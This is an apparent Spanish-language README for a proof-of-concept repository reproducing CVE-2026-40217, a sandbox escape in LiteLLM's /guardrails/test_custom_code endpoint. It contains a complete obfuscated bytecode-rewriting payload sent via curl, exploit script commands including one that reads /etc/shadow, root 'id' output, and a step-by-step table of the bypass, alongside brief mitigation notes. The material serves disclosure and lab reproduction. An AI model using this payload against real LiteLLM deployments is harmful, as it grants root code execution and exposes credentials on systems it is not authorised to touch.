
El código para reproducir personalmente la vulnerabilidad correspondiente
LiteLLM
POST /guardrails/test_custom_code— Escape de la caja de arena que conduce a Ejecución Remota de Código (RCE) como root en la implementación predeterminada de Docker.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (ALTA) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (Control Inadecuado de Recursos de Código Gestionados Dinámicamente) / CWE-94 |
| Afectado | LiteLLM ≤ 2026-04-08 (pre-v1.83.11) |
| Corregido | v1.83.11+ (reemplazó la caja de arena artesanal con RestrictedPython) |
| Descubridor | Markus Vervier — X41 D-Sec GmbH |
| Publicado | 2026-04-08 |
| Enlace | Aviso X41 • GHSA-wxxx-gvqv-xp7p • oss-security |
El endpoint POST /guardrails/test_custom_code en LiteLLM permite a usuarios autenticados enviar código Python arbitrario para probar guardrails. El endpoint intenta restringir operaciones peligrosas mediante filtrado de código fuente basado en regex, pero esto puede ser completamente evadido usando técnicas de reescritura de bytecode de CPython, lo que lleva a ejecución arbitraria de código en el proceso del proxy. En la imagen Docker predeterminada, el proxy se ejecuta como root, agravando el impacto.
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt
⚠️ Importante: El archivo
docker-compose.ymlfija la imagen vulnerable a un digest específico (sha256:7c311546...) del 22 de marzo de 2026. No cambies la etiqueta amain-latesto a ninguna versión más reciente — las imágenes posteriores ya pueden contener la corrección (RestrictedPython) incluso si el número de versión sugiere lo contrario (ej.,v1.83.10-stablefue reconstruida después del parche y no es vulnerable).
# 1. Install dependencies (if not already done)
pip install -r requirements.txt
# 2. Start a vulnerable LiteLLM instance
docker compose up -d
# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# Or using curl directly
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Bytecode payload module
├── docs/
│ └── advisory.md # Translated advisory details
└── screenshots/ # Proof screenshots
RestrictedPython en lugar de la caja de arena artesanal)/guardrails/test_custom_code en tu proxy inverso / puerta de enlace APIdocker run --user 1000:1000 ...Aviso legal: Este contenido se proporciona solo para fines educativos y pruebas de seguridad autorizadas.
| Paso | Técnica | Código |
|---|
| 1 | Evasión de regex mediante concatenación de cadenas | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | Obtener la clase object mediante str.mro()[1] | obj = str.mro()[1] |
| 3 | Acceder al objeto de código del generador mediante gi_code | c = g(None).gi_code |
| 4 | Intercambiar __code__ de la función mediante object.__setattr__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | Extraer builtins reales de http_get.__globals__ | imp = gd["__builtins__"]["__import__"] |
| 6 | Lograr RCE mediante os.popen | imp("os").popen("id").read() |